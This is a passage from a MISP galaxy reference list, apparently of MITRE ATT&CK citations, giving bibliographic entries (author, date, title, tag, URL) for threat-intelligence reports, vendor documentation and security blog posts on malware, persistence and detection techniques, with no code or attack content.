Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.

The tag is: *misp-galaxy:references="FireEye HawkEye Malware July 2017"*

Table 21027. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html

HC3 Scattered Spider October 24 2024

Health Sector Cybersecurity Coordination Center (HC3). (2024, October 24). HC3: Threat Actor Profile Scattered Spider. Retrieved January 27, 2025.

The tag is: *misp-galaxy:references="HC3 Scattered Spider October 24 2024"*

Table 21028. Table References

Links
https://www.aha.org/system/files/media/file/2024/10/hc3%20tlp%20clear%20threat%20actor%20profile%20scattered%20spider-10-24-2024.pdf

Specter Ops - Cloud Credential Storage

Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="Specter Ops - Cloud Credential Storage"*

Table 21029. Table References

Links
https://posts.specterops.io/head-in-the-clouds-bd038bb69e48

Positive Technologies Hellhounds 2023

PT Expert Security Center. (2023, November 29). Hellhounds: operation Lahat. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Positive Technologies Hellhounds 2023"*

Table 21030. Table References

Links
https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/hellhounds-operation-lahat

Securelist Dtrack

Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021.

The tag is: *misp-galaxy:references="Securelist Dtrack"*

Table 21031. Table References

Links
https://securelist.com/my-name-is-dtrack/93338/

Securelist Dtrack2

KONSTANTIN ZYKOV. (2019, September 23). Hello! My name is Dtrack. Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="Securelist Dtrack2"*

Table 21032. Table References

Links
https://securelist.com/my-name-is-dtrack/93338/

Help eliminate unquoted path

Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.

The tag is: *misp-galaxy:references="Help eliminate unquoted path"*

Table 21033. Table References

Links
https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464

Baggett 2012

Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.

The tag is: *misp-galaxy:references="Baggett 2012"*

Table 21034. Table References

Links
https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464

Default VBS macros Blocking

Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.

The tag is: *misp-galaxy:references="Default VBS macros Blocking"*

Table 21035. Table References

Links
https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805

Twitter CMSTP Usage Jan 2018

Carr, N. (2018, January 31). Here is some early bad cmstp.exe… Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter CMSTP Usage Jan 2018"*

Table 21036. Table References

Links
https://x.com/ItsReallyNick/status/958789644165894146

ESET Hermetic Wiper February 2022

ESET. (2022, February 24). HermeticWiper: New data wiping malware hits Ukraine. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="ESET Hermetic Wiper February 2022"*

Table 21037. Table References

Links
https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine

SentinelOne Hermetic Wiper February 2022

Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="SentinelOne Hermetic Wiper February 2022"*

Table 21038. Table References

Links
https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack

Dragos Hexane

Dragos. (n.d.). Hexane. Retrieved October 27, 2019.

The tag is: *misp-galaxy:references="Dragos Hexane"*

Table 21039. Table References

Links
https://dragos.com/resource/hexane/

Sourceforge Heyoka 2022

Sourceforge. (n.d.). Heyoka POC Exfiltration Tool. Retrieved October 11, 2022.

The tag is: *misp-galaxy:references="Sourceforge Heyoka 2022"*

Table 21040. Table References

Links
https://heyoka.sourceforge.net/

Hh.exe - LOLBAS Project

LOLBAS. (2018, May 25). Hh.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Hh.exe - LOLBAS Project"*

Table 21041. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Hh/

CrowdStrike BloodHound April 2018

Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.

The tag is: *misp-galaxy:references="CrowdStrike BloodHound April 2018"*

Table 21042. Table References

Links
https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/

McAfee Bankshot

Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.

The tag is: *misp-galaxy:references="McAfee Bankshot"*

Table 21043. Table References

Links
https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/

Pfammatter - Hidden Inbox Rules

Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="Pfammatter - Hidden Inbox Rules"*

Table 21044. Table References

Links
https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/

Hidden VNC

Hutchins, Marcus. (2015, September 13). Hidden VNC for Beginners. Retrieved November 28, 2023.

The tag is: *misp-galaxy:references="Hidden VNC"*

Table 21045. Table References

Links
https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html

Intezer HiddenWasp Map 2019

Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.

The tag is: *misp-galaxy:references="Intezer HiddenWasp Map 2019"*

Table 21046. Table References

Links
https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/

Apple Support Hide a User Account

Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021.

The tag is: *misp-galaxy:references="Apple Support Hide a User Account"*

Table 21047. Table References

Links
https://support.apple.com/en-us/HT203998

Malwarebytes Wow6432Node 2016

Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.

The tag is: *misp-galaxy:references="Malwarebytes Wow6432Node 2016"*

Table 21048. Table References

Links
https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/

FireEye APT17

FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye APT17"*

Table 21049. Table References

Links
https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf

ATTACK IQ

Federico Quattrin, Nick Desler, Tin Tam, & Matthew Rutkoske. (2023, March 16). Hiding in Plain Sight: Monitoring and Testing for Living-Off-the-Land Binaries. Retrieved July 15, 2024.

The tag is: *misp-galaxy:references="ATTACK IQ"*

Table 21050. Table References

Links
https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/

Crowdstrike Hiding in Plain Sight 2018

Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.

The tag is: *misp-galaxy:references="Crowdstrike Hiding in Plain Sight 2018"*

Table 21051. Table References

Links
https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/

Hiding Malicious Code with Module Stomping

Aliz Hammond. (2019, August 15). Hiding Malicious Code with "Module Stomping": Part 1. Retrieved July 14, 2022.

The tag is: *misp-galaxy:references="Hiding Malicious Code with Module Stomping"*

Table 21052. Table References

Links
https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/

SpectorOps Hiding Reg Jul 2017

Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.

The tag is: *misp-galaxy:references="SpectorOps Hiding Reg Jul 2017"*

Table 21053. Table References

Links
https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353

FireEye SUNBURST Backdoor December 2020

FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.

The tag is: *misp-galaxy:references="FireEye SUNBURST Backdoor December 2020"*

Table 21054. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html

Redirectors_Domain_Fronting

Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting. Retrieved July 11, 2022.

The tag is: *misp-galaxy:references="Redirectors_Domain_Fronting"*

Table 21055. Table References

Links
https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/

Synack Secure Kernel Extension Broken

Wardle, P. (2017, September 8). High Sierra's 'Secure Kernel Extension Loading' is Broken. Retrieved April 6, 2018.

The tag is: *misp-galaxy:references="Synack Secure Kernel Extension Broken"*

Table 21056. Table References

Links
https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/

modePUSH Azure Storage Explorer September 14 2024

Britton Manahan. (2024, September 14). Highway Blobbery: Data Theft using Azure Storage Explorer. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="modePUSH Azure Storage Explorer September 14 2024"*

Table 21057. Table References

Links
https://www.modepush.com/blog/highway-blobbery-data-theft-using-azure-storage-explorer

Wietze Beukema DLL Hijacking

Wietze Beukema. (2020, June 22). Hijacking DLLs in Windows. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="Wietze Beukema DLL Hijacking"*

Table 21058. Table References

Links
https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows

Unit 42 Hildegard Malware

Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.

The tag is: *misp-galaxy:references="Unit 42 Hildegard Malware"*

Table 21059. Table References

Links
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/

Drakonia HInvoke

drakonia. (2022, August 10). HInvoke and avoiding PInvoke. Retrieved August 22, 2022.

The tag is: *misp-galaxy:references="Drakonia HInvoke"*

Table 21060. Table References

Links
https://dr4k0nia.github.io/dotnet/coding/2022/08/10/HInvoke-and-avoiding-PInvoke.html?s=03

Hive Ransomware Analysis | Kroll

Stephen Green, Elio Biasiotto. (2023, February 2). Hive Ransomware Analysis | Kroll. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Hive Ransomware Analysis | Kroll"*

Table 21061. Table References

Links
https://www.kroll.com/en/insights/publications/cyber/hive-ransomware-technical-analysis-initial-access-discovery

Bitdefender Hunters International November 9 2023

Martin Zugec. (2023, November 9). Hive Ransomware's Offspring: Hunters International Takes the Stage. Retrieved October 4, 2024.

The tag is: *misp-galaxy:references="Bitdefender Hunters International November 9 2023"*

Table 21062. Table References

Links
https://www.bitdefender.com/en-us/blog/businessinsights/hive-ransomwares-offspring-hunters-international-takes-the-stage/

microsoft_services_registry_tree

Microsoft. (2021, August 5). HKLM\SYSTEM\CurrentControlSet\Services Registry Tree. Retrieved August 25, 2021.

The tag is: *misp-galaxy:references="microsoft_services_registry_tree"*

Table 21063. Table References

Links

https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree

Microsoft CurrentControlSet Services

Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services Registry Tree. Retrieved March 16, 2020.

The tag is: *misp-galaxy:references="Microsoft CurrentControlSet Services"*

Table 21064. Table References

Links
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree

Accenture Hogfish April 2018

Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.

The tag is: *misp-galaxy:references="Accenture Hogfish April 2018"*

Table 21065. Table References

Links
http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf

Proofpoint Router Malvertising

Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.

The tag is: *misp-galaxy:references="Proofpoint Router Malvertising"*

Table 21066. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices

Support Portal January 1 2024

Support Portal. (2024, January 1). Home - Support Portal - Broadcom support portal. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Support Portal January 1 2024"*

Table 21067. Table References

Links
https://customerconnect.vmware.com/downloads/info/slug/datacenter_cloud_infrastructure/vmware_tools/12_x

Trustwave Honeypot SkidMap 2023

Radoslaw Zdonczyk. (2023, July 30). Honeypot Recon: New Variant of SkidMap Targeting Redis. Retrieved September 29, 2023.

The tag is: *misp-galaxy:references="Trustwave Honeypot SkidMap 2023"*

Table 21068. Table References

Links
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-new-variant-of-skidmap-targeting-redis/

Microsoft Hook Overview

Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="Microsoft Hook Overview"*

Table 21069. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx

SpectorOps Host-Based Jul 2017

Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.

The tag is: *misp-galaxy:references="SpectorOps Host-Based Jul 2017"*

Table 21070. Table References

Links
https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea

Crowdstrike AWS User Federation Persistence

Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.

The tag is: *misp-galaxy:references="Crowdstrike AWS User Federation Persistence"*

Table 21071. Table References

Links
https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/

Andy Greenberg June 2017

Andy Greenberg. (2017, June 28). How an Entire Nation Became Russia's Test Lab for Cyberwar. Retrieved September 27, 2023.

The tag is: *misp-galaxy:references="Andy Greenberg June 2017"*

Table 21072. Table References

Links
https://www.wired.com/story/russian-hackers-attack-ukraine/

Perez Sitemap XML 2023

Adi Perez. (2023, February 22). How Attackers Can Misuse Sitemaps to Enumerate Users and Discover Sensitive Information. Retrieved July 18, 2024.

The tag is: *misp-galaxy:references="Perez Sitemap XML 2023"*

Table 21073. Table References

Links
https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a

Symantec Digital Certificates

Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.

The tag is: *misp-galaxy:references="Symantec Digital Certificates"*

Table 21074. Table References

Links
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates

ADSecurity Silver Tickets

Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.

The tag is: *misp-galaxy:references="ADSecurity Silver Tickets"*

Table 21075. Table References

Links
https://adsecurity.org/?p=2011

Amazon S3 Security, 2019

Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="Amazon S3 Security, 2019"*

Table 21076. Table References

Links
https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/

Microsoft Connection Manager Oct 2009

Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="Microsoft Connection Manager Oct 2009"*

Table 21077. Table References

Links
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)

Kaspersky-masking

Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024.

The tag is: *misp-galaxy:references="Kaspersky-masking"*

Table 21078. Table References

Links
https://www.kaspersky.com/blog/malicious-redirect-methods/50045/

dns_changer_trojans

Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.

The tag is: *misp-galaxy:references="dns_changer_trojans"*

Table 21079. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats

Entrust Enable CAPI2 Aug 2017

Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.

The tag is: *misp-galaxy:references="Entrust Enable CAPI2 Aug 2017"*

Table 21080. Table References

Links
http://www.entrust.net/knowledge-base/technote.cfm?tn=8165

Apple Culprit Access

rjben. (2012, May 30). How do you find the culprit when unauthorized access to a computer is a problem?. Retrieved August 3, 2022.

The tag is: *misp-galaxy:references="Apple Culprit Access"*

Table 21081. Table References

Links
https://discussions.apple.com/thread/3991574

SFX - Encrypted/Encoded File

Jai Minton. (2023, March 31). How Falcon OverWatch Investigates Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads. Retrieved March 29, 2024.

The tag is: *misp-galaxy:references="SFX - Encrypted/Encoded File"*

Table 21082. Table References

Links
https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/

DOJ FIN7 Aug 2018

Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.

The tag is: *misp-galaxy:references="DOJ FIN7 Aug 2018"*

Table 21083. Table References

Links
https://www.justice.gov/opa/press-release/file/1084361/download

Charles McLellan March 2016

Charles McLellan. (2016, March 4). How hackers attacked Ukraine's power grid: Implications for Industrial IoT security. Retrieved September 27, 2023.

The tag is: *misp-galaxy:references="Charles McLellan March 2016"*

Table 21084. Table References

Links
https://www.zdnet.com/article/how-hackers-attacked-ukraines-power-grid-implications-for-industrial-iot-security/

Cyware Social Media

Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Cyware Social Media"*

Table 21085. Table References

Links
https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e

SpyCloud Stealers Chrome Bypass October 2 2024

James. (2024, October 2). How Infostealers Are Bypassing New Chrome Security Feature to Steal User Session Cookies. Retrieved October 13, 2024.

The tag is: *misp-galaxy:references="SpyCloud Stealers Chrome Bypass October 2 2024"*

Table 21086. Table References

Links
https://spycloud.com/blog/infostealers-bypass-new-chrome-security-feature/

ICS Mutexes 2015

Lenny Zeltser. (2015, March 9). How Malware Generates Mutex Names to Evade Detection. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="ICS Mutexes 2015"*

Table 21087. Table References

Links
https://isc.sans.edu/diary/How+Malware+Generates+Mutex+Names+to+Evade+Detection/19429/

malware_hides_service

Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.

The tag is: *misp-galaxy:references="malware_hides_service"*

Table 21088. Table References

Links
https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/

S1 macOs Persistence

Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.

The tag is: *misp-galaxy:references="S1 macOs Persistence"*

Table 21089. Table References

Links
https://www.sentinelone.com/blog/how-malware-persists-on-macos/

sentinelone macos persist Jun 2019

Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.

The tag is: *misp-galaxy:references="sentinelone macos persist Jun 2019"*

Table 21090. Table References

Links
https://www.sentinelone.com/blog/how-malware-persists-on-macos/

Kaspersky Autofill

Golubev, S. (n.d.). How malware steals autofill data from browsers. Retrieved March 28, 2023.

The tag is: *misp-galaxy:references="Kaspersky Autofill"*

Table 21091. Table References

Links
https://www.kaspersky.com/blog/browser-data-theft/27871/

Microsoft Threat Actor Naming

diannegali, schmurky, Dansimp, chrisda, Stacyrch140. (2023, April 20). How Microsoft names threat actors. Retrieved June 22, 2023.

The tag is: *misp-galaxy:references="Microsoft Threat Actor Naming"*

Table 21092. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming

Microsoft Threat Actor Naming July 2023

Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.

The tag is: *misp-galaxy:references="Microsoft Threat Actor Naming July 2023"*

Table 21093. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

TheEclecticLightCompany apple notarization

How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.

The tag is: *misp-galaxy:references="TheEclecticLightCompany apple notarization"*

Table 21094. Table References

Links
https://eclecticlight.co/2020/08/28/how-notarization-works/

SentinelOne AppleScript

Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.

The tag is: *misp-galaxy:references="SentinelOne AppleScript"*

Table 21095. Table References

Links
https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/

SecureWorld - How Secure Is Your Slack Channel - Dec 2021

Drew Todd. (2021, December 28). How Secure Is Your Slack Channel?. Retrieved May 31, 2022.

The tag is: *misp-galaxy:references="SecureWorld - How Secure Is Your Slack Channel - Dec 2021"*

Table 21096. Table References

Links
https://www.secureworld.io/industry-news/how-secure-is-your-slack-channel#:}:text=Electronic%20Arts%20hacked%20through%20Slack%20channel&text=In%20total%2C%20the%20hackers%20claim

Windows OS Hub RDP

Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022.

The tag is: *misp-galaxy:references="Windows OS Hub RDP"*

Table 21097. Table References

Links
http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/

Xpn Argue Like Cobalt 2019

Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021.

The tag is: *misp-galaxy:references="Xpn Argue Like Cobalt 2019"*

Table 21098. Table References

Links
https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/

Seqrite DoubleExtension

Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021.

The tag is: *misp-galaxy:references="Seqrite DoubleExtension"*

Table 21099. Table References

Links
https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/

BOA Telephone Scams

Bank of America. (n.d.). How to avoid telephone scams. Retrieved September 8, 2023.

The tag is: *misp-galaxy:references="BOA Telephone Scams"*

Table 21100. Table References

Links
https://business.bofa.com/en-us/content/what-is-vishing.html

Okta Block Anonymizing Services

Moussa Diallo and Brett Winterford. (2024, April 26). How to Block Anonymizing Services using Okta. Retrieved May 28, 2024.

The tag is: *misp-galaxy:references="Okta Block Anonymizing Services"*

Table 21101. Table References

Links
https://sec.okta.com/blockanonymizers

bypass_webproxy_filtering

Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering. Retrieved September 20, 2019.

The tag is: *misp-galaxy:references="bypass_webproxy_filtering"*

Table 21102. Table References

Links
https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/

Systemd Remote Control

Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.

The tag is: *misp-galaxy:references="Systemd Remote Control"*

Table 21103. Table References

Links
https://www.tecmint.com/control-systemd-services-on-remote-linux-server/

Microsoft Admin Shares

Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.

The tag is: *misp-galaxy:references="Microsoft Admin Shares"*

Table 21104. Table References

Links
http://support.microsoft.com/kb/314984

Delpy Mimikatz Crendential Manager

Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.

The tag is: *misp-galaxy:references="Delpy Mimikatz Crendential Manager"*

Table 21105. Table References

Links
https://github.com/gentilkiwi/mimikatz/wiki/howto-}-credential-manager-saved-credentials

Stealthbits Overpass-the-Hash

Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.

The tag is: *misp-galaxy:references="Stealthbits Overpass-the-Hash"*

Table 21106. Table References

Links
https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/

Stealthbits Detect PtT 2019

Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.

The tag is: *misp-galaxy:references="Stealthbits Detect PtT 2019"*

Table 21107. Table References

Links
https://blog.stealthbits.com/detect-pass-the-ticket-attacks

WindowsIR Anti-Forensic Techniques

Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.

The tag is: *misp-galaxy:references="WindowsIR Anti-Forensic Techniques"*

Table 21108. Table References

Links
http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html

Microsoft Disable Autorun

Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.

The tag is: *misp-galaxy:references="Microsoft Disable Autorun"*

Table 21109. Table References

Links
https://support.microsoft.com/en-us/kb/967715

Superuser Linux Password Policies

Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.

The tag is: *misp-galaxy:references="Superuser Linux Password Policies"*

Table 21110. Table References

Links
https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu

Confluence Linux Command Line

Confluence Support. (2021, September 8). How to enable command line audit logging in linux. Retrieved September 23, 2021.

The tag is: *misp-galaxy:references="Confluence Linux Command Line"*

Table 21111. Table References

Links
https://confluence.atlassian.com/confkb/how-to-enable-command-line-audit-logging-in-linux-956166545.html

Atlassian Confluence Logging

Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.

The tag is: *misp-galaxy:references="Atlassian Confluence Logging"*

Table 21112. Table References

Links
https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html

Remote Shell Execution in Python

Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.

The tag is: *misp-galaxy:references="Remote Shell Execution in Python"*

Table 21113. Table References

Links
https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python

Find Wi-Fi Password on Mac

Ruslana Lishchuk. (2021, March 26). How to Find a Saved Wi-Fi Password on a Mac. Retrieved September 8, 2023.

The tag is: *misp-galaxy:references="Find Wi-Fi Password on Mac"*

Table 21114. Table References

Links
https://mackeeper.com/blog/find-wi-fi-password-on-mac/

Stack Overflow

Stack Overflow. (n.d.). How to find the location of the Scheduled Tasks folder. Retrieved June 19, 2024.

The tag is: *misp-galaxy:references="Stack Overflow"*

Table 21115. Table References

Links
https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder

Microsoft Web Root OCT 2016

Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018.

The tag is: *misp-galaxy:references="Microsoft Web Root OCT 2016"*

Microsoft Replication ACL

Microsoft. (n.d.). How to grant the "Replicating Directory Changes" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.

The tag is: *misp-galaxy:references="Microsoft Replication ACL"*

Table 21116. Table References

Links
https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr

Hide GDM User Accounts

Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022.

The tag is: *misp-galaxy:references="Hide GDM User Accounts"*

Table 21117. Table References

Links
https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/

Elastic COM Hijacking

Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.

The tag is: *misp-galaxy:references="Elastic COM Hijacking"*

Table 21118. Table References

Links

https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com

Elastic Masquerade Ball

Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.

The tag is: *misp-galaxy:references="Elastic Masquerade Ball"*

Table 21119. Table References

Links
https://www.elastic.co/blog/how-hunt-masquerade-ball

Linux Loadable Kernel Module Insert and Remove LKMs

Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="Linux Loadable Kernel Module Insert and Remove LKMs"*

Table 21120. Table References

Links
http://tldp.org/HOWTO/Module-HOWTO/x197.html

DigiCert Install SSL Cert

DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.

The tag is: *misp-galaxy:references="DigiCert Install SSL Cert"*

Table 21121. Table References

Links
https://www.digicert.com/kb/ssl-certificate-installation.htm

HowToGeek ShowExtension

Chris Hoffman. (2017, March 8). How to Make Windows Show File Extensions. Retrieved August 4, 2021.

The tag is: *misp-galaxy:references="HowToGeek ShowExtension"*

Table 21122. Table References

Links
https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/

AWS Monitor API Calls to EC2 Security Groups

Jeff Levine. (2017, January 3). How to Monitor AWS Account Configuration Changes and API Calls to Amazon EC2 Security Groups. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="AWS Monitor API Calls to EC2 Security Groups"*

Table 21123. Table References

Links
https://aws.amazon.com/blogs/security/how-to-monitor-aws-account-configuration-changes-and-api-calls-to-amazon-ec2-security-groups/

Microsoft RDP Removal

Microsoft. (2021, September 24). How to remove entries from the Remote Desktop Connection Computer box. Retrieved June 15, 2022.

The tag is: *misp-galaxy:references="Microsoft RDP Removal"*

Table 21124. Table References

Links
https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer

Startup Items Eclectic

hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.

